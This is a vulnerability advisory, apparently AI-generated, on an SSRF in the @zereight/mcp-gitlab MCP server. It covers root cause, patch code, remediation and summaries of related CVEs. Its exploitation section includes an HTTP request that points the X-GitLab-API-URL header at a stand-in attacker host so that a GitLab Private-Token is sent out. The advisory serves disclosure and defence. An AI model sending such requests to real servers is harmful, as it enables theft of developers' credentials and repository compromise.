CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-61559

CVE-2026-61559: Critical Server-Side Request Forgery and Token Leakage in @zereight/mcp-gitlab

Amit Schendel
Amit Schendel
Senior Security Researcher

Sep 15, 2026·7 min read·20 visits

Executive Summary (TL;DR)

Unauthenticated remote attackers can steal sensitive GitLab Private-Tokens via a Server-Side Request Forgery (SSRF) flaw in gitlab-mcp by injecting a malicious destination host in the X-GitLab-API-URL header.

A critical Server-Side Request Forgery (SSRF) vulnerability in @zereight/mcp-gitlab allows attackers to leak sensitive GitLab Private-Tokens by supplying an arbitrary external hostname via the X-GitLab-API-URL header when dynamic routing is enabled.

Vulnerability Overview

The @zereight/mcp-gitlab (also distributed as gitlab-mcp) package is a Model Context Protocol (MCP) server that interfaces Large Language Models (LLMs) and automated agents with GitLab's programmatic interfaces. When deployed, this server facilitates interaction between intelligent agents and target repositories by handling API authentication and requests. To support environments with multiple distinct GitLab instances, the server exposes a configuration mechanism allowing dynamic API URL routing.

This dynamic routing capability is controlled by the ENABLE_DYNAMIC_API_URL environment variable. When enabled, the server relies on the incoming client-supplied HTTP request header X-GitLab-API-URL to determine the destination host for outbound API calls. The core vulnerability stems from the absence of domain validation or structural allowlist checks against this header, classifiable under CWE-918 (Server-Side Request Forgery).

An attacker who can send requests to the MCP server can exploit this trust boundary failure. By supplying an arbitrary external hostname in the X-GitLab-API-URL header, the attacker coerces the server into directing outbound traffic to a malicious server. Because the server forwards authenticating credentials associated with the session context, the attacker is able to steal highly privileged credentials.

Technical Root Cause Analysis

The root cause of this vulnerability lies in the lack of destination host validation during the resolution of dynamic API endpoints within the server's HTTP routing middleware. When the configuration parameter ENABLE_DYNAMIC_API_URL is set to true, the application is instructed to process the user-supplied X-GitLab-API-URL header. The server parses the value of this header to dynamically override the default configured GitLab base API URL.

Prior to version 2.1.27, the parsing implementation performed basic hygienic validation of the input using the standard URL constructor. If the input string represented a well-formed URL, the application modified its internal state, overwriting the destination API base URL for the active request context. The application did not perform any validation to ensure the parsed hostname belonged to a set of trusted domains or matched the configured on-premise GitLab deployment.

Subsequently, when executing remote actions, the server constructs an outbound HTTP request using standard fetch libraries. The request initialization routines append the sensitive authentication token (typically provided as a Private-Token header) to this request. Because the host portion of the request target is directly derived from the unchecked X-GitLab-API-URL value, the server sends the authentication token to the untrusted external authority.

Source Code and Patch Analysis

A detailed analysis of the fix merged in commit 6ffb4cc70706fd05b1ab80901676bc2998b6db6d reveals how the developers established validation controls. The critical modifications introduce a custom validation function, resolveTrustedGitLabApiUrl, designed to match requested dynamic domains against a lookup table populated by an authorized hosts list.

Below is the logic introduced to secure the routing function:

// Section of patch introducing validation logic
function resolveTrustedGitLabApiUrl(value: string): string {
  // Parse the incoming dynamic URL string
  const parsed = new URL(value);
 
  // Verify if the host is explicitly declared in the trusted mapping
  const allowedApiUrl = GITLAB_ALLOWED_API_URLS_BY_HOST.get(parsed.host);
  if (!allowedApiUrl) {
    throw new Error(
      `GitLab API URL host is not allowed: ${parsed.host}. ` +
        "Add the host to GITLAB_ALLOWED_HOSTS or GITLAB_API_URL."
    );
  }
 
  return allowedApiUrl;
}

In the vulnerable version, the application directly passed the user-input URL to the outbound request generator without checking parsed.host against any boundaries. The patch updates proxy.ts to capture validation exceptions and return HTTP status code 400 (Bad Request) if the domain validation fails:

// Patch integrated in proxy.ts routing handler
if (deps.enableDynamicApiUrl && requestedApiUrl) {
  try {
    apiUrl = deps.resolveTrustedGitLabApiUrl(requestedApiUrl);
  } catch (error) {
    const message = error instanceof Error ? error.message : "Invalid X-GitLab-API-URL";
    res.status(400).json({ error: message });
    return;
  }
}

This defensive design ensures that unless an administrative user explicitly registers the external destination host within the GITLAB_ALLOWED_HOSTS configuration, the server refuses to route outbound traffic to it, neutralizing the SSRF vector.

Exploitation Methodology

Exploiting this Server-Side Request Forgery (SSRF) flaw requires three conditions: network access to the MCP server's HTTP endpoints, the target deployment having ENABLE_DYNAMIC_API_URL set to true, and the transmission of active credentials. An attacker does not require administrative privileges on the MCP server to trigger this flaw, as the vulnerable header is parsed from incoming client requests.

An attacker begins the exploit sequence by spinning up an HTTP request logging listener on a publicly routable IP address. Once the listener is online, the attacker sends a crafted request to an exposed endpoint of the target @zereight/mcp-gitlab instance (such as /downloads/job-artifacts). In this request, the attacker embeds the X-GitLab-API-URL header, assigning it the value of the attacker-controlled logging server.

GET /downloads/job-artifacts?project_id=1&job_id=1 HTTP/1.1
Host: target-mcp-server.local
Private-Token: glpat-sensitiveUserTokenHere
X-GitLab-API-URL: http://attacker-controlled-server.com/api/v4

Upon receiving this payload, the MCP server interprets the X-GitLab-API-URL header as the new backend base URL. The application proceeds to construct an outbound request to retrieve the requested resources, attaching the victim's Private-Token header. This request is sent to the attacker-controlled domain, where the attacker captures the incoming request and extracts the raw Private-Token header, compromising the victim's GitLab account.

Technical Impact and Scope

The impact of this vulnerability is critical, as reflected in its CVSS score of 9.6. Successful exploitation leads to a total compromise of confidentiality and integrity regarding the victim's GitLab session and associated repositories. An attacker who retrieves an active Private-Token acquires all privileges associated with that token, which may include code modification, pipeline manipulation, and access to internal secrets.

Because the MCP server is designed to act on behalf of developers or integration agents, the stolen tokens often possess extensive scope definitions, such as api, read_repository, and write_repository. With these credentials, an attacker can modify source code repositories, inject malicious code into CI/CD pipelines, or download proprietary intellectual property. This elevates the risk from a simple credential disclosure to a severe supply chain injection vector.

Furthermore, the network architecture of the environment plays a key role in the overall impact. If the MCP server is positioned inside a restricted network enclave, an attacker can use this SSRF to scan other internal systems. This is achieved by directing the X-GitLab-API-URL to internal IP addresses and observing the server's response patterns or error codes, bypassing firewall boundaries.

Remediation and Defensive Controls

The primary remediation strategy is upgrading the @zereight/mcp-gitlab package to version 2.1.27 or higher. This update introduces mandatory validation logic that enforces domain restrictions, rendering arbitrary URL injection ineffective. For deployments where immediate package updates are not feasible, network administrators should implement strict outbound proxy rules to block requests to unapproved external endpoints.

Additionally, developers must evaluate whether dynamic routing is strictly necessary. If the environment uses a single GitLab instance, dynamic API URL routing should be disabled by setting ENABLE_DYNAMIC_API_URL=false in the environment configuration. This deactivates the processing of the X-GitLab-API-URL header entirely, eliminating the attack surface.

If dynamic routing is required, administrators must configure the GITLAB_ALLOWED_HOSTS environment variable to define a strict allowlist. This comma-separated string should only contain trusted hosts. Any dynamic URL request referencing an unauthorized host will be rejected with an HTTP 400 Bad Request response before any outbound request is initiated.

Official Patches

zereightRemediation Pull Request

Fix Analysis (1)

Technical Appendix

CVSS Score
9.6/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Affected Systems

@zereight/mcp-gitlabgitlab-mcp

Affected Versions Detail

Product
Affected Versions
Fixed Version
@zereight/mcp-gitlab
zereight
>= 0.0.1, < 2.1.272.1.27
AttributeDetail
CWE IDCWE-918
Attack VectorNetwork (AV:N)
CVSS Score9.6 (Critical)
EPSS ScoreNot indexed (Freshly published)
ImpactCredential Theft & GitLab Compromise
Exploit StatusProof of Concept (PoC) available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1005Data from Local System
Collection
CWE-918
Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream client and retrieves the contents of this URL, but does not sufficiently ensure that the request is being sent to an approved destination.

Vulnerability Timeline

Security patch integrated into codebase.
2026-07-26
Vulnerability Advisory and CVE details published.
2026-09-15

References & Sources

  • [1]GitHub Security Advisory GHSA-2h44-8472-frjj
  • [2]Pull Request #625: Add domain allowlist to Dynamic API URL configuration
  • [3]Fix Commit 6ffb4cc
  • [4]Release v2.1.27
  • [5]CVE-2026-61559 Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•9 minutes ago•CVE-2026-126359
3.4

CVE-2026-126359: Cross-Site Scripting via Split Closing Style Tag in Hono CSS Helper

CVE-2026-126359 (GHSA-3gg2-335m-rxc6) is an improper input neutralization vulnerability (CWE-79) in the Hono web framework (`honojs/hono`). Versions from 3.12.0 prior to 4.13.16 evaluate and escape interpolated strings in the `hono/css` helper individually before concatenating template chunks and stripping CSS comments. When a `<` character and a `/style>` sequence are split across template boundaries, adjacent interpolations, or separated by a CSS comment, the sanitizer fails to escape the closing tag sequence. During Server-Side Rendering (SSR), the `<Style />` component outputs an unescaped `</style>` delimiter, permitting an attacker to break out of the CSS raw text context and execute arbitrary HTML and JavaScript in the victim's browser.

Alon Barad
Alon Barad
2 views•10 min read
•about 1 hour ago•CVE-2026-126358
5.3

CVE-2026-126358: Authorization Bypass via Wildcard Middleware Omission in Hono RegExpRouter

An incorrect authorization vulnerability (CWE-863) exists in the Hono web application framework (npm package `hono`) from version 4.1.4 prior to 4.13.16. Flaws in the registration-time coverage calculation and regular expression compilation within `RegExpRouter` cause wildcard middleware to be omitted under three specific routing conditions: parameter pattern equivalence mismatches, wildcard boundary collisions, and request paths containing percent-encoded line terminators. Because Hono's default `SmartRouter` selects `RegExpRouter` for most standard web applications, unauthenticated remote clients can bypass authentication, authorization, or security middleware registered on wildcard paths to directly access protected route handlers or the application's not-found handler.

Alon Barad
Alon Barad
3 views•13 min read
•about 2 hours ago•CVE-2026-126357
5.3

CVE-2026-126357: Authentication Bypass via Mount Path Transformation in Hono

CVE-2026-126357 (GHSA-4m76-xfj5-7975) is an authentication bypass vulnerability in the Hono web application framework prior to version 4.13.16. The flaw resides in the prefix-stripping and URL reconstruction logic of `app.mount()` and the `mount()` middleware. Two distinct path transformation errors—static route-pattern length slicing on dynamic prefixes and URL normalization of decoded pathnames—create a routing discrepancy between the outer Hono router and the mounted sub-application. An unauthenticated attacker can exploit these discrepancies to bypass outer authentication or authorization middleware and access protected inner routes directly.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 3 hours ago•CVE-2026-126356
5.3

CVE-2026-126356: Multipart Form Validation Bypass in Hono Web Framework

A parser differential vulnerability exists in the Hono web application framework versions 4.5.1 prior to 4.13.16. The built-in form validation middleware (`validator('form')`) utilizes an overly restrictive regular expression to evaluate the HTTP `Content-Type` header for `multipart/form-data` payloads. When a client supplies additional valid MIME parameters (such as `charset=utf-8`) or multiple whitespace characters following a semicolon delimiter, the regular expression fails to match. Consequently, the validator passes an empty object to the validation callback instead of the parsed form fields. If the validation logic permits empty objects or only checks for disallowed values on optional properties, the request passes validation, allowing downstream route handlers calling `c.req.parseBody()` or `c.req.formData()` to process unvalidated user input.

Amit Schendel
Amit Schendel
4 views•10 min read
•about 4 hours ago•CVE-2026-126355
5.3

CVE-2026-126355: Cross-Site Request Forgery Protection Bypass via Hyperlink Auditing in Hono

CVE-2026-126355 (GHSA-46wx-v44x-9hh2) is a Cross-Site Request Forgery (CSRF) validation bypass in Hono, a web application framework for JavaScript runtimes. Prior to version 4.13.16, Hono's built-in csrf() middleware only evaluated origin headers for requests matching standard HTML form MIME types (application/x-www-form-urlencoded, multipart/form-data, and text/plain). By leveraging the HTML anchor ping attribute in Chromium-based browsers, an attacker can initiate an unprompted, credentialed cross-origin HTTP POST request with Content-Type: text/ping without triggering a CORS preflight request. Because text/ping was omitted from the middleware regular expression, requests bypassed Origin and Sec-Fetch-Site verification, allowing unauthorized state-changing operations.

Amit Schendel
Amit Schendel
5 views•9 min read
•about 5 hours ago•CVE-2026-128067
8.4

CVE-2026-128067: Out-of-Bounds Heap Read and Write in Pillow libtiff Encoder via Geometry Tag Overrides

CVE-2026-128067 is a memory corruption vulnerability in Pillow (versions 2.3.0 through 12.3.0) occurring when saving compressed TIFF images via the underlying libtiff encoder. By supplying crafted image geometry tags through exif=, tiffinfo=, or a source TIFF IFD, an attacker can override the scanline dimensions configured in libtiff while Pillow allocates the internal row buffer based strictly on the physical image dimensions. This mismatch induces an out-of-bounds heap read during scanline encoding, and escalates to an out-of-bounds heap write when TIFF Predictor 2 (horizontal differencing) is enabled.

Amit Schendel
Amit Schendel
3 views•10 min read